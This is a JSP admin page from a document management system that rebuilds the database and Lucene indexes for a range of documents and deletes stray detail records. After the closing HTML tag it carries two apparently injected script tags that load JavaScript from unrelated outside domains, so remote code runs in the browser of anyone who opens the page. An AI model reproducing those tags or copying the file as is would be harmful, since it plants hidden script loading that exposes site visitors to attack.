<%
/*
 * @(#)RebuildDmsDocumentIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  batchLuceneIndex.jsp

  This class is reflecting business logic uses.
  Description: the jsp use the update code after 3.15 
  to rebuild index in DMS_DOCUMENT_INDEX AND LUCENE for solving
  date format problem

    @author           Roy Wong
    @company          DCIVision Limited
    @creation date    05/05/2004
    @version          $Revision: 1.9.10.2 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>

<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.dao.* "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  if("true".equals(request.getParameter("start"))){
     Connection conn = null;
    try {
      Integer from = new Integer(request.getParameter("from"));
      Integer to = new Integer(request.getParameter("to"));

      conn = DataSourceFactory.getConnection();
      DocumentRetrievalManager docRetrievalManager = new 
DocumentRetrievalManager(sessionContainer, conn);
      DocumentOperationManager docOperationManager = new 
DocumentOperationManager(sessionContainer, conn);
      DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
      DmsDocumentDetailDAObject detailDAO = new DmsDocumentDetailDAObject(sessionContainer,conn);
      List documentList = new ArrayList();
      DmsContentStoreHandler contentStoreHandler = null;

      //step 1 - get out all the document
      out.println("<h1>Reading document ...</h1>");
      documentList = documentDAO.getAllDocumentListActiveInactive();
      DmsDocument dmsDocument = new DmsDocument();
      DmsDocumentDetail dmsDocDetail = new DmsDocumentDetail();
      DmsDocumentDetail clearDirtyDmsDocDetail = new DmsDocumentDetail();
      out.println("<h1>No. of document:"+documentList.size()+"</h1>");
      out.println("<h1>Starting to index....</h1>");

      if(to.intValue()>(documentList.size())){
        to = new Integer(documentList.size());
      }

      //step 2 - get all the user define detail to the document
      List preIndexDocList = new ArrayList();
      if(!Utility.isEmpty(documentList)){
        //for(int i=0;i<documentList.size();i++){
        for(int i=(from.intValue()-1);i<(to.intValue());i++){
          dmsDocument = (DmsDocument)documentList.get(i);

          //clear dirty data begin
          if(!DmsDocument.FOLDER_TYPE.equals(dmsDocument.getDocumentType())){
            List allDetailList=docRetrievalManager.getDocumentDetailListActiveInactive(dmsDocument.getID());

            if(!Utility.isEmpty(allDetailList)){
              for(int j=0;j<allDetailList.size();j++){
                clearDirtyDmsDocDetail = (DmsDocumentDetail)allDetailList.get(j);
                if((allDetailList.size()>1) && (clearDirtyDmsDocDetail.getUserDefinedFieldDetailID()==null)){
                  out.println("diryt id:"+clearDirtyDmsDocDetail.getID()+"<br>");
                  detailDAO.deleteByID(clearDirtyDmsDocDetail.getID());
                  conn.commit();
                }
              }
            }//end if
          }//end if
          //clear dirty data end


          //set the document detail
          if(!DmsDocument.FOLDER_TYPE.equals(dmsDocument.getDocumentType())){
            List detailList=docRetrievalManager.getDocumentDetailListActiveInactive(dmsDocument.getID());
            dmsDocument.setDocumentDetails(detailList);
            if(!Utility.isEmpty(detailList)){
              dmsDocDetail = (DmsDocumentDetail)detailList.get(0);
              dmsDocument.setUserDefinedFieldID(dmsDocDetail.getUserDefinedFieldID());
            }//end if
          }//end if

          preIndexDocList.add(dmsDocument);
        }//end for

     //step 3 index the document
        DmsDocument preIndexDoc = new DmsDocument();
        for(int j=0;j<preIndexDocList.size();j++){
          preIndexDoc = (DmsDocument)preIndexDocList.get(j);

         //add by roy---------------------------------------------------------
          LogFactory.getLog(this.getClass()).debug("--------------------------------------------");
          LogFactory.getLog(this.getClass()).debug("Loop:"+j);
          LogFactory.getLog(this.getClass()).debug("Doc Name:"+preIndexDoc.getDocumentName());
          LogFactory.getLog(this.getClass()).debug("Doc ID:"+preIndexDoc.getID());
          LogFactory.getLog(this.getClass()).debug("Doc type:"+preIndexDoc.getDocumentType());

          //add by roy------------------------------------------------------

          docOperationManager.indexToDB(preIndexDoc,GlobalConstant.OP_MODE_UPDATE);

          IndexManager idxHandler = FullTextIndexFactory.getInstance();
          idxHandler.updateDocument(DmsIndexConverter.getIndexDocument(preIndexDoc, null));
          conn.commit();
          idxHandler = null;
	  //call system to execute gc on every 5 operations
          if(j%5==0){
	    System.gc();
	  }	
        } //end for

        conn.commit();
        out.println("<h1>Finish index</h1>");

      }else{
        out.println("<h1>No document found!</h1>");
      }

      docRetrievalManager.release();
      docOperationManager.release();

    } catch (Exception e) {
	  LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }

  }

%>

<html>
<head>
</head>
<body>
Index all document:
<form name="IndexForm" action="<%=request.getContextPath()%>/jsp/dms/RebuildDmsIndexDateFormat.jsp">
<input type="hidden" name="start" value="true">
<input type="text" name="from" />
<input type="text" name="to" />
<input type="submit" value="submit">
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>